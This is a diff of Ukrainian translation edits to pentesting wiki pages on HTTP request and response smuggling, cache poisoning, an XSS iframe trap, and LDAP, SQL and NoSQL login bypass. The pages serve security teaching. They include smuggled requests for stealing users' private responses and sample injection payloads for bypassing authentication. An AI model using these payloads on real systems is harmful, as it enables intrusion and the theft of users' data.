У [**цьому описі**](https://mizu.re/post/twisty-python) це було зловжито з контрабандою запиту та **вразливим кінцевим пунктом, який відповість з вхідними даними користувача** для контрабанди запиту з HTTP/0.9. Параметр, який буде відображено у відповіді, містив **підроблену відповідь HTTP/1.1 (з заголовками та тілом)**, тому відповідь міститиме дійсний виконуваний JS код з `Content-Type` `text/html`. У [**цьому описі**](https://mizu.re/post/twisty-python) це було зловжито з контрабандою запиту та **вразливим кінцевим пунктом, який відповість з введенням користувача** для контрабанди запиту з HTTP/0.9. Параметр, який буде відображено у відповіді, містив **підроблену HTTP/1.1 відповідь (з заголовками та тілом)**, тому відповідь міститиме дійсний виконуваний JS код з `Content-Type` `text/html`.
### Експлуатація перенаправлень на сайті з допомогою HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a> ### Експлуатація перенаправлень на сайті з допомогою HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Застосунки часто перенаправляють з одного URL на інший, використовуючи ім'я хоста з заголовка `Host` у URL перенаправлення. Це поширено серед веб-серверів, таких як Apache та IIS. Наприклад, запит на папку без заключного слешу призводить до перенаправлення, щоб включити слеш: Застосунки часто перенаправляють з одного URL на інший, використовуючи ім'я хоста з заголовка `Host` у URL перенаправлення. Це поширено серед веб-серверів, таких як Apache та IIS. Наприклад, запит на папку без слешу в кінці призводить до перенаправлення, щоб включити слеш:
``` ```
GET /home HTTP/1.1 GET /home HTTP/1.1
Host: normal-website.com Host: normal-website.com
@ -472,7 +472,7 @@ Location: https://attacker-website.com/home/
Раніше ми спостерігали, як відповіді сервера можуть бути змінені, щоб повернути помилку 404 (див. [Основні приклади](./#basic-examples)). Аналогічно, можливо обманути сервер, щоб він надав контент `/index.html` у відповідь на запит `/static/include.js`. В результаті, контент `/static/include.js` замінюється в кеші на контент `/index.html`, що робить `/static/include.js` недоступним для користувачів, потенційно призводячи до відмови в обслуговуванні (DoS). Раніше ми спостерігали, як відповіді сервера можуть бути змінені, щоб повернути помилку 404 (див. [Основні приклади](./#basic-examples)). Аналогічно, можливо обманути сервер, щоб він надав контент `/index.html` у відповідь на запит `/static/include.js`. В результаті, контент `/static/include.js` замінюється в кеші на контент `/index.html`, що робить `/static/include.js` недоступним для користувачів, потенційно призводячи до відмови в обслуговуванні (DoS).
Ця техніка стає особливо потужною, якщо виявлено **вразливість Open Redirect** або якщо є **перенаправлення на сайті до відкритого перенаправлення**. Такі вразливості можуть бути використані для заміни кешованого контенту `/static/include.js` на скрипт під контролем зловмисника, що фактично дозволяє здійснити широкомасштабну атаку Cross-Site Scripting (XSS) проти всіх клієнтів, які запитують оновлений `/static/include.js`. Ця техніка стає особливо потужною, якщо виявлено **вразливість Open Redirect** або якщо є **перенаправлення на сайті до відкритого перенаправлення**. Такі вразливості можуть бути використані для заміни кешованого контенту `/static/include.js` на скрипт під контролем зловмисника, що фактично дозволяє здійснити масовану атаку Cross-Site Scripting (XSS) проти всіх клієнтів, які запитують оновлений `/static/include.js`.
Нижче наведено ілюстрацію використання **отруєння кешу в поєднанні з перенаправленням на сайті до відкритого перенаправлення**. Мета полягає в тому, щоб змінити кешований контент `/static/include.js`, щоб надати JavaScript-код, контрольований зловмисником: Нижче наведено ілюстрацію використання **отруєння кешу в поєднанні з перенаправленням на сайті до відкритого перенаправлення**. Мета полягає в тому, щоб змінити кешований контент `/static/include.js`, щоб надати JavaScript-код, контрольований зловмисником:
``` ```
@ -492,9 +492,9 @@ Content-Length: 10
x=1 x=1
``` ```
Зверніть увагу на вбудований запит, що націлений на `/post/next?postId=3`. Цей запит буде перенаправлений на `/post?postId=4`, використовуючи **значення заголовка Host** для визначення домену. Змінюючи **заголовок Host**, зловмисник може перенаправити запит на свій домен (**внутрішнє перенаправлення на відкритий редирект**). Зверніть увагу на вбудований запит, що націлений на `/post/next?postId=3`. Цей запит буде перенаправлений на `/post?postId=4`, використовуючи **значення заголовка Host** для визначення домену. Змінивши **заголовок Host**, зловмисник може перенаправити запит на свій домен (**внутрішнє перенаправлення на відкритий редирект**).
Після успішного **отруєння сокета** слід ініціювати **GET запит** на `/static/include.js`. Цей запит буде забруднений попереднім запитом **внутрішнього перенаправлення на відкритий редирект** і отримає вміст скрипта, контрольованого зловмисником. Після успішного **отруєння сокетів** слід ініціювати **GET запит** на `/static/include.js`. Цей запит буде забруднений попереднім запитом **внутрішнього перенаправлення на відкритий редирект** і отримає вміст скрипта, контрольованого зловмисником.
В подальшому будь-який запит на `/static/include.js` буде обслуговувати кешований вміст скрипта зловмисника, ефективно запускаючи широкий XSS-атаку. В подальшому будь-який запит на `/static/include.js` буде обслуговувати кешований вміст скрипта зловмисника, ефективно запускаючи широкий XSS-атаку.
@ -505,7 +505,7 @@ x=1
> - У **отруєнні веб-кешу** зловмисник змушує додаток зберігати деякий шкідливий вміст у кеші, і цей вміст обслуговується з кешу іншим користувачам додатка. > - У **отруєнні веб-кешу** зловмисник змушує додаток зберігати деякий шкідливий вміст у кеші, і цей вміст обслуговується з кешу іншим користувачам додатка.
> - У **обмані веб-кешу** зловмисник змушує додаток зберігати деякий чутливий вміст, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей вміст з кешу. > - У **обмані веб-кешу** зловмисник змушує додаток зберігати деякий чутливий вміст, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей вміст з кешу.
Зловмисник створює контрабандний запит, який отримує чутливий вміст, специфічний для користувача. Розгляньте наступний приклад: Зловмисник створює підроблений запит, який отримує чутливий вміст, специфічний для користувача. Розгляньте наступний приклад:
```markdown ```markdown
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable-website.com`\ `Host: vulnerable-website.com`\
@ -516,7 +516,7 @@ x=1
`GET /private/messages HTTP/1.1`\ `GET /private/messages HTTP/1.1`\
`Foo: X` `Foo: X`
``` ```
Якщо цей підроблений запит отруює кеш-енцію, призначену для статичного контенту (наприклад, `/someimage.png`), чутливі дані жертви з `/private/messages` можуть бути кешовані під кеш-енцією статичного контенту. Внаслідок цього, зловмисник потенційно може отримати ці кешовані чутливі дані. Якщо цей підроблений запит отруює кеш-елемент, призначений для статичного контенту (наприклад, `/someimage.png`), чутливі дані жертви з `/private/messages` можуть бути кешовані під кеш-елементом статичного контенту. Внаслідок цього, зловмисник потенційно може отримати ці кешовані чутливі дані.
### Зловживання TRACE через HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> ### Зловживання TRACE через HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
@ -545,7 +545,7 @@ X-Forwarded-For: xxx.xxx.xxx.xxx
Продовжуючи слідкувати за [**цим постом**](https://portswigger.net/research/trace-desync-attack), пропонується ще один спосіб зловживання методом TRACE. Як зазначено, зловживаючи запитом HEAD і запитом TRACE, можна **контролювати деякі відображені дані** у відповіді на запит HEAD. Довжина тіла запиту HEAD в основному вказується в заголовку Content-Length і формується відповіддю на запит TRACE. Продовжуючи слідкувати за [**цим постом**](https://portswigger.net/research/trace-desync-attack), пропонується ще один спосіб зловживання методом TRACE. Як зазначено, зловживаючи запитом HEAD і запитом TRACE, можна **контролювати деякі відображені дані** у відповіді на запит HEAD. Довжина тіла запиту HEAD в основному вказується в заголовку Content-Length і формується відповіддю на запит TRACE.
Отже, нова ідея полягає в тому, що, знаючи цей Content-Length і дані, надані у відповіді TRACE, можна зробити так, щоб відповідь TRACE містила дійсну HTTP-відповідь після останнього байта Content-Length, що дозволяє зловмиснику повністю контролювати запит до наступної відповіді (що може бути використано для виконання отруєння кешу). Отже, нова ідея полягає в тому, що, знаючи цей Content-Length і дані, надані у відповіді TRACE, можна змусити відповідь TRACE містити дійсну HTTP-відповідь після останнього байта Content-Length, що дозволяє зловмиснику повністю контролювати запит до наступної відповіді (що може бути використано для виконання отруєння кешу).
Приклад: Приклад:
``` ```
@ -597,7 +597,7 @@ Content-Length: 50
### Інші техніки HTTP Request Smuggling ### Інші техніки HTTP Request Smuggling
- HTTP Request Smuggling в браузері (Клієнтська сторона) - Browser HTTP Request Smuggling (Клієнтська сторона)
{{#ref}} {{#ref}}
browser-http-request-smuggling.md browser-http-request-smuggling.md
@ -609,7 +609,7 @@ browser-http-request-smuggling.md
request-smuggling-in-http-2-downgrades.md request-smuggling-in-http-2-downgrades.md
{{#endref}} {{#endref}}
## Скрипти Turbo intruder ## Turbo intruder scripts
### CL.TE ### CL.TE

View File

@ -10,21 +10,21 @@
**Головна** **різниця** між цією технікою та звичайним HTTP Request smuggling полягає в тому, що **замість** **атаки** на **запит** **жертви** **додаванням префікса до нього**, ми будемо **викрадати або модифікувати відповідь, яку отримує жертва**. Це робиться шляхом, замість того, щоб надіслати 1 запит і півтора для зловживання HTTP Request smuggling, **надіслати 2 повних запити для десинхронізації черги відповідей проксі**. **Головна** **різниця** між цією технікою та звичайним HTTP Request smuggling полягає в тому, що **замість** **атаки** на **запит** **жертви** **додаванням префікса до нього**, ми будемо **викрадати або модифікувати відповідь, яку отримує жертва**. Це робиться шляхом, замість того, щоб надіслати 1 запит і півтора для зловживання HTTP Request smuggling, **надіслати 2 повних запити для десинхронізації черги відповідей проксі**.
Це тому, що ми зможемо **десинхронізувати чергу відповідей**, так що **відповідь** від **легітимного** **запиту** **жертви буде надіслана атакуючому**, або шляхом **впровадження контролюваного атакуючим контенту у відповідь жертві**. Це тому, що ми зможемо **десинхронізувати чергу відповідей**, так що **відповідь** від **легітимного** **запиту** **жертви буде надіслана атакуючому**, або шляхом **впровадження контролюваного атакуючим вмісту у відповідь жертві**.
### HTTP Pipeline Desync ### HTTP Pipeline Desync
HTTP/1.1 дозволяє запитувати **різні ресурси без необхідності чекати на попередні**. Тому, якщо в середині є **проксі**, це завдання проксі - **підтримувати синхронізовану відповідність запитів, надісланих на бекенд, і відповідей, що надходять з нього**. HTTP/1.1 дозволяє запитувати **різні ресурси без необхідності чекати на попередні**. Тому, якщо в середині є **проксі**, це завдання проксі - **підтримувати синхронізовану відповідність запитів, надісланих на бекенд, і відповідей, що надходять з нього**.
Однак є проблема з десинхронізацією черги відповідей. Якщо атакуючий надішле атаку HTTP Response smuggling і відповіді на **початковий запит і на контрабандний запит відповідають негайно**, контрабандна відповідь не буде вставлена в чергу відповідей жертви, а просто **буде відкинута як помилка**. Однак є проблема з десинхронізацією черги відповідей. Якщо атакуючий надішле атаку HTTP Response smuggling і відповіді на **початковий запит і на контрабандний** будуть надані негайно, контрабандна відповідь не буде вставлена в чергу відповідей жертви, а просто **буде відкинута як помилка**.
![](<../images/image (633).png>) ![](<../images/image (633).png>)
Отже, потрібно, щоб **контрабандний** **запит** **потребував більше часу для обробки** на бекенд-сервері. Таким чином, до моменту обробки контрабандного запиту зв'язок з атакуючим буде завершено. Отже, потрібно, щоб **контрабандний** **запит** **потребував більше часу для обробки** на бекенд-сервері. Таким чином, до моменту обробки контрабандного запиту зв'язок з атакуючим буде завершено.
Якщо в цій конкретній ситуації **жертва надіслала запит** і **контрабандний запит відповідає перед** легітимним запитом, **контрабандна відповідь буде надіслана жертві**. Таким чином, атакуючий буде **контролювати запит, "виконаний" жертвою**. Якщо в цій конкретній ситуації **жертва надіслала запит** і **контрабандний запит отримав відповідь раніше** легітимного запиту, **контрабандна відповідь буде надіслана жертві**. Таким чином, атакуючий буде **контролювати запит, "виконаний" жертвою**.
Більше того, якщо **атакуючий потім виконає запит** і **легітимна відповідь** на **запит жертви** буде **відповіддю** **перед** запитом атакуючого. **Відповідь жертві буде надіслана атакуючому**, **викрадаючи** відповідь жертви (яка може містити, наприклад, заголовок **Set-Cookie**). Більше того, якщо **атакуючий потім виконає запит** і **легітимна відповідь** на **запит жертви** буде **надана** **раніше** запиту атакуючого. **Відповідь жертви буде надіслана атакуючому**, **викрадаючи** відповідь жертви (яка може містити, наприклад, заголовок **Set-Cookie**).
![](<../images/image (1020).png>) ![](<../images/image (1020).png>)
@ -34,7 +34,7 @@ HTTP/1.1 дозволяє запитувати **різні ресурси бе
Ще одна **цікава різниця** з звичайним **HTTP Request Smuggling** полягає в тому, що в звичайній атаці на контрабанду **мета** полягає в тому, щоб **модифікувати початок запиту жертви**, щоб він виконував несподівану дію. У **HTTP Response smuggling attack**, оскільки ви **надсилаєте повні запити**, ви можете **впроваджувати в один корисний вантаж десятки відповідей**, які будуть **десинхронізувати десятки користувачів**, які будуть **отримувати** **впроваджені** **відповіді**. Ще одна **цікава різниця** з звичайним **HTTP Request Smuggling** полягає в тому, що в звичайній атаці на контрабанду **мета** полягає в тому, щоб **модифікувати початок запиту жертви**, щоб він виконував несподівану дію. У **HTTP Response smuggling attack**, оскільки ви **надсилаєте повні запити**, ви можете **впроваджувати в один корисний вантаж десятки відповідей**, які будуть **десинхронізувати десятки користувачів**, які будуть **отримувати** **впроваджені** **відповіді**.
Окрім того, що ви можете **легше розподілити десятки експлойтів** серед легітимних користувачів, це також може бути використано для виклику **DoS** на сервері. Окрім можливості **легше розподілити десятки експлойтів** серед легітимних користувачів, це також може бути використано для виклику **DoS** на сервері.
### Exploit Organisation ### Exploit Organisation
@ -42,15 +42,15 @@ HTTP/1.1 дозволяє запитувати **різні ресурси бе
Цей **часомісткий запит є достатнім**, якщо ми просто хочемо **спробувати вкрасти відповідь жертви**. Але якщо ви хочете виконати більш складний експлойт, це буде звичайна структура для експлойту. Цей **часомісткий запит є достатнім**, якщо ми просто хочемо **спробувати вкрасти відповідь жертви**. Але якщо ви хочете виконати більш складний експлойт, це буде звичайна структура для експлойту.
По-перше, **початковий** запит, що зловживає **HTTP** **Request** **smuggling**, потім **часомісткий запит**, а потім **1 або більше запитів вантажу**, відповіді на які будуть надіслані жертвам. По-перше, **початковий** запит, що зловживає **HTTP** **Request** **smuggling**, потім **часомісткий запит**, а потім **1 або більше запитів з корисним вантажем**, відповіді на які будуть надіслані жертвам.
## Abusing HTTP Response Queue Desynchronisation ## Abusing HTTP Response Queue Desynchronisation
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a> ### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Як і з відомими корисними вантажами HTTP Request Smuggling, ви можете **вкрасти запит жертви** з однією важливою різницею: у цьому випадку вам просто потрібно, щоб **надісланий контент відображався у відповіді**, **не потрібне постійне зберігання**. Як і з відомими корисними вантажами HTTP Request Smuggling, ви можете **вкрасти запит жертви** з однією важливою різницею: у цьому випадку вам просто потрібно, щоб **надісланий вміст відображався у відповіді**, **не потрібне постійне зберігання**.
По-перше, атакуючий надсилає корисний вантаж, що містить **остання POST-запит з відображеним параметром** в кінці та великим Content-Length. По-перше, атакуючий надсилає корисний вантаж, що містить **останній POST запит з відображеним параметром** в кінці та великим Content-Length.
![](<../images/image (1053).png>) ![](<../images/image (1053).png>)
@ -58,7 +58,7 @@ HTTP/1.1 дозволяє запитувати **різні ресурси бе
![](<../images/image (794).png>) ![](<../images/image (794).png>)
Тоді **жертва** отримає **відповідь** на **сонний** запит, і якщо в цей час **атакуючий** **надіслав** **інший** **запит**, **відповідь на запит з відображеним контентом буде надіслана йому**. Потім **жертва** отримає **відповідь** на **сонний** запит, і якщо в цей час **атакуючий** **надіслав** **інший** **запит**, **відповідь на запит з відображеним вмістом буде надіслана йому**.
## Response Desynchronisation ## Response Desynchronisation
@ -66,31 +66,31 @@ HTTP/1.1 дозволяє запитувати **різні ресурси бе
Але все ще можливо **десинхронізувати навіть** більше відповідей. Але все ще можливо **десинхронізувати навіть** більше відповідей.
Є цікаві запити, такі як **HEAD** запит, які вказані, щоб не мати **жодного контенту всередині тіла відповідей** і які повинні (повинні) **містити Content-Length** запиту, як **якщо це був GET запит**. Є цікаві запити, такі як **HEAD** запит, які вказані, щоб не мати **жодного вмісту всередині тіла відповіді** і які повинні (повинні) **містити Content-Length** запиту, як **якщо це був GET запит**.
Отже, якщо атакуючий **впроваджує** **HEAD** запит, як на цих зображеннях: Отже, якщо атакуючий **впроваджує** **HEAD** запит, як на цих зображеннях:
![](<../images/image (1107).png>) ![](<../images/image (1107).png>)
Тоді, **як тільки синій запит буде відповісти атакуючому**, наступний запит жертви буде введено в чергу: Тоді, **як тільки синій запит буде наданий атакуючому**, наступний запит жертви буде введено в чергу:
![](<../images/image (999).png>) ![](<../images/image (999).png>)
Тоді **жертва** отримає **відповідь** з **HEAD** запиту, яка **міститиме Content-Length, але жодного контенту**. Отже, проксі **не надішле цю відповідь** жертві, а **чекатиме** на деякий **контент**, який насправді буде **відповіддю на жовтий запит** (також впроваджений атакуючим): Тоді **жертва** отримає **відповідь** з **HEAD** запиту, яка **міститиме Content-Length, але жодного вмісту**. Отже, проксі **не надішле цю відповідь** жертві, а **чекатиме** на деякий **вміст**, який насправді буде **відповіддю на жовтий запит** (також впроваджений атакуючим):
![](<../images/image (735).png>) ![](<../images/image (735).png>)
### Content Confusion ### Content Confusion
Слідуючи попередньому прикладу, знаючи, що ви можете **контролювати тіло** запиту, відповідь на який отримає жертва, і що **HEAD** **відповідь** зазвичай містить у своїх заголовках **Content-Type і Content-Length**, ви можете **надіслати запит, як наступний**, щоб **викликати XSS** у жертви, не роблячи сторінку вразливою до XSS: Слідуючи попередньому прикладу, знаючи, що ви можете **контролювати тіло** запиту, відповідь на який отримає жертва, і що **HEAD** **відповідь** зазвичай містить у своїх заголовках **Content-Type і Content-Length**, ви можете **надіслати запит, подібний до наступного**, щоб **викликати XSS** у жертви, не роблячи сторінку вразливою до XSS:
![](<../images/image (688).png>) ![](<../images/image (688).png>)
### Cache Poisoning ### Cache Poisoning
Зловживаючи раніше обговореною десинхронізацією відповідей Content Confusion атаки, **якщо кеш зберігає відповідь на запит, виконаний жертвою, і ця відповідь є впровадженою, що викликає XSS, тоді кеш отруєний**. Зловживаючи раніше обговореною десинхронізацією відповіді Content Confusion атаки, **якщо кеш зберігає відповідь на запит, виконаний жертвою, і ця відповідь є впровадженою, що викликає XSS, тоді кеш отруєний**.
Зловмисний запит, що містить вантаж XSS: Зловмисний запит, що містить корисний вантаж XSS:
![](<../images/image (614).png>) ![](<../images/image (614).png>)
@ -99,7 +99,7 @@ HTTP/1.1 дозволяє запитувати **різні ресурси бе
![](<../images/image (566).png>) ![](<../images/image (566).png>)
> [!WARNING] > [!WARNING]
> Зверніть увагу, що в цьому випадку, якщо **"жертва" є атакуючим**, він тепер може виконати **отруєння кешу на довільних URL**, оскільки він може **контролювати URL, який буде кешовано** з зловмисною відповіддю. > Зверніть увагу, що в цьому випадку, якщо **"жертва" є атакуючим**, він тепер може виконувати **отруєння кешу на довільних URL-адресах**, оскільки він може **контролювати URL-адресу, яка буде кешована** з зловмисною відповіддю.
### Web Cache Deception ### Web Cache Deception
@ -111,9 +111,9 @@ HTTP/1.1 дозволяє запитувати **різні ресурси бе
**Мета** цієї атаки полягає в тому, щоб знову зловживати **десинхронізацією** **відповіді** для того, щоб **змусити проксі надіслати 100% відповідь, згенеровану атакуючим**. **Мета** цієї атаки полягає в тому, щоб знову зловживати **десинхронізацією** **відповіді** для того, щоб **змусити проксі надіслати 100% відповідь, згенеровану атакуючим**.
Щоб досягти цього, атакуючий повинен знайти кінцеву точку веб-додатку, яка **відображає деякі значення у відповіді** і **знати довжину контенту HEAD-відповіді**. Щоб досягти цього, атакуючий повинен знайти кінцеву точку веб-додатку, яка **відображає деякі значення у відповіді** і **знати довжину вмісту відповіді HEAD**.
Він надішле **експлойт** на кшталт: Він надішле **експлойт** на зразок:
![](<../images/image (911).png>) ![](<../images/image (911).png>)
@ -121,11 +121,11 @@ HTTP/1.1 дозволяє запитувати **різні ресурси бе
![](<../images/image (737).png>) ![](<../images/image (737).png>)
Жертва отримає у відповідь **HEAD-відповідь + контент відповіді другого запиту (що містить частину відображених даних):** Жертва отримає у відповідь **HEAD відповідь + вміст відповіді другого запиту (що містить частину відображених даних):**
![](<../images/image (356).png>) ![](<../images/image (356).png>)
Однак зверніть увагу, як **відображені дані мали розмір відповідно до Content-Length** **HEAD** відповіді, яка **згенерувала дійсну HTTP-відповідь у черзі відповідей**. Однак зверніть увагу, як **відображені дані мали розмір відповідно до Content-Length** **HEAD** відповіді, яка **згенерувала дійсну HTTP відповідь у черзі відповідей**.
Отже, **наступний запит другого жертви** отримає у відповідь щось, повністю створене атакуючим. Оскільки відповідь повністю створена атакуючим, він також може **змусити проксі кешувати відповідь**. Отже, **наступний запит другого жертви** отримає у відповідь щось, повністю створене атакуючим. Оскільки відповідь повністю створена атакуючим, він також може **змусити проксі кешувати відповідь**.

View File

@ -10,7 +10,7 @@
Атака XSS в основному завантажить веб-сторінку в iframe на 100% екрану. Тому жертва **не помітить, що вона всередині iframe**. Потім, якщо жертва переміщається по сторінці, натискаючи на посилання всередині iframe (всередині вебу), вона буде **переміщатися всередині iframe** з довільним JS, що краде інформацію з цього переміщення. Атака XSS в основному завантажить веб-сторінку в iframe на 100% екрану. Тому жертва **не помітить, що вона всередині iframe**. Потім, якщо жертва переміщається по сторінці, натискаючи на посилання всередині iframe (всередині вебу), вона буде **переміщатися всередині iframe** з довільним JS, що краде інформацію з цього переміщення.
Більше того, щоб зробити це більш реалістичним, можливо використовувати деякі **слухачі**, щоб перевірити, коли iframe змінює місцезнаходження сторінки, і оновити URL браузера з тими місцезнаходженнями, які користувач вважає, що він переміщується по сторінках, використовуючи браузер. Більше того, щоб зробити це більш реалістичним, можливо використовувати деякі **слухачі**, щоб перевірити, коли iframe змінює місцезнаходження сторінки, і оновити URL браузера з тими місцями, куди користувач думає, що він переміщується по сторінках, використовуючи браузер.
<figure><img src="../images/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure> <figure><img src="../images/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
@ -18,6 +18,6 @@
Більше того, можливо використовувати слухачів для крадіжки чутливої інформації, не лише інших сторінок, які відвідує жертва, але й даних, що використовуються для **заповнення форм** і їх відправки (облікові дані?) або для **крадіжки локального сховища**... Більше того, можливо використовувати слухачів для крадіжки чутливої інформації, не лише інших сторінок, які відвідує жертва, але й даних, що використовуються для **заповнення форм** і їх відправки (облікові дані?) або для **крадіжки локального сховища**...
Звичайно, основні обмеження полягають у тому, що **жертва закриває вкладку або вводить іншу URL-адресу в браузері, що дозволяє вийти з iframe**. Інший спосіб зробити це - **оновити сторінку**, однак це може бути частково **запобігти** шляхом відключення контекстного меню правої кнопки миші щоразу, коли нова сторінка завантажується всередині iframe, або помічаючи, коли миша користувача виходить з iframe, потенційно щоб натиснути кнопку перезавантаження браузера, і в цьому випадку URL браузера оновлюється з оригінальною URL-адресою, вразливою до XSS, тому якщо користувач перезавантажить її, вона знову отримає отруєння (зауважте, що це не дуже непомітно). Звичайно, основні обмеження полягають у тому, що **жертва закриває вкладку або вводить іншу URL-адресу в браузері, що дозволяє вийти з iframe**. Інший спосіб зробити це - **оновити сторінку**, однак це може бути частково **запобігти** шляхом відключення контекстного меню правої кнопки миші щоразу, коли нова сторінка завантажується всередині iframe, або помічаючи, коли миша користувача виходить з iframe, потенційно щоб натиснути кнопку перезавантаження браузера, і в цьому випадку URL браузера оновлюється з оригінальною URL-адресою, вразливою до XSS, тому, якщо користувач перезавантажить її, вона знову отримає отруєння (зауважте, що це не дуже непомітно).
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -38,7 +38,7 @@
`(&(!(objectClass=Impresoras))(uid=s*))`\ `(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))` `(&(objectClass=user)(uid=*))`
Ви можете отримати доступ до бази даних, і вона може містити інформацію різних типів. Ви можете отримати доступ до бази даних, і вона може містити інформацію різного типу.
**OpenLDAP**: Якщо надходять 2 фільтри, виконується лише перший.\ **OpenLDAP**: Якщо надходять 2 фільтри, виконується лише перший.\
**ADAM або Microsoft LDS**: З 2 фільтрами виникає помилка.\ **ADAM або Microsoft LDS**: З 2 фільтрами виникає помилка.\
@ -115,11 +115,11 @@ password=any
- [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt) - [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt)
- [LDAP Атрибути](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) - [LDAP Атрибути](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
- [Атрибути LDAP PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) - [LDAP Атрибути PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
### Сліпа LDAP Ін'єкція ### Сліпа LDAP Ін'єкція
Ви можете примусити отримати False або True відповіді, щоб перевірити, чи повертаються які-небудь дані, і підтвердити можливу Сліпу LDAP Ін'єкцію: Ви можете примусити отримати False або True відповіді, щоб перевірити, чи повертаються які-небудь дані та підтвердити можливу Сліпу LDAP Ін'єкцію:
```bash ```bash
#This will result on True, so some information will be shown #This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void Payload: *)(objectClass=*))(&objectClass=void

View File

@ -16,12 +16,12 @@
- Nodejs перетворить цей payload на запит, подібний до наступного: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` що робить біт пароля завжди істинним. - Nodejs перетворить цей payload на запит, подібний до наступного: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` що робить біт пароля завжди істинним.
- Якщо ви можете надіслати об'єкт JSON, ви можете надіслати `"password":{"password": 1}` для обходу входу. - Якщо ви можете надіслати об'єкт JSON, ви можете надіслати `"password":{"password": 1}` для обходу входу.
- Пам'ятайте, що для обходу цього входу вам все ще потрібно **знати та надіслати дійсне ім'я користувача**. - Пам'ятайте, що для обходу цього входу вам все ще потрібно **знати та надіслати дійсне ім'я користувача**.
- **Додавання `"stringifyObjects":true`** параметра при виклику `mysql.createConnection` врешті-решт **заблокує всі несподівані поведінки, коли `Object` передається** в параметрі. - **Додавання `"stringifyObjects":true`** опції при виклику `mysql.createConnection` врешті-решт **заблокує всі несподівані поведінки, коли `Object` передається** в параметрі.
- Перевірте облікові дані: - Перевірте облікові дані:
- [**Типові облікові дані**](../../generic-hacking/brute-force.md#default-credentials) технології/платформи, що використовується - [**Типові облікові дані**](../../generic-hacking/brute-force.md#default-credentials) технології/платформи, що використовується
- **Звичайні комбінації** (root, admin, password, назва технології, стандартний користувач з одним з цих паролів). - **Звичайні комбінації** (root, admin, password, назва технології, стандартний користувач з одним з цих паролів).
- Створіть словник, використовуючи **Cewl**, **додайте** **стандартне** ім'я користувача та пароль (якщо є) і спробуйте зламати його, використовуючи всі слова як **імена користувачів та паролі** - Створіть словник, використовуючи **Cewl**, **додайте** стандартне ім'я користувача та пароль (якщо є) і спробуйте зламати його, використовуючи всі слова як **імена користувачів і паролі**
- **Брутфорс** з більшим **словником (**[**Брутфорс**](../../generic-hacking/brute-force.md#http-post-form)**)** - **Брутфорс** з використанням більшого **словника (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)**
### SQL Injection обхід аутентифікації ### SQL Injection обхід аутентифікації
@ -57,7 +57,7 @@ sql-login-bypass.md
admin' or ' admin' or '
admin' or '1'='2 admin' or '1'='2
``` ```
### LDAP Injection аутентифікаційний обхід ### LDAP Injection аутентифікація обхід
[Тут ви можете знайти кілька трюків для обходу входу через **LDAP Injection.**](../ldap-injection.md#login-bypass) [Тут ви можете знайти кілька трюків для обходу входу через **LDAP Injection.**](../ldap-injection.md#login-bypass)
``` ```
@ -84,7 +84,7 @@ admin))(|(|
## Інші перевірки ## Інші перевірки
- Перевірте, чи можете ви **перерахувати імена користувачів**, зловживаючи функціоналом входу. - Перевірте, чи можете ви **перерахувати імена користувачів**, зловживаючи функціоналом входу.
- Перевірте, чи **автозаповнення** активне в полях пароля/**чутливої** інформації **форм** **введення:** `<input autocomplete="false">` - Перевірте, чи **автозаповнення** активне у формах пароля/**чутливої** інформації **введення:** `<input autocomplete="false">`
## Автоматичні інструменти ## Автоматичні інструменти

View File

@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
```javascript ```javascript
query = { $where: `this.username == '${username}'` } query = { $where: `this.username == '${username}'` }
``` ```
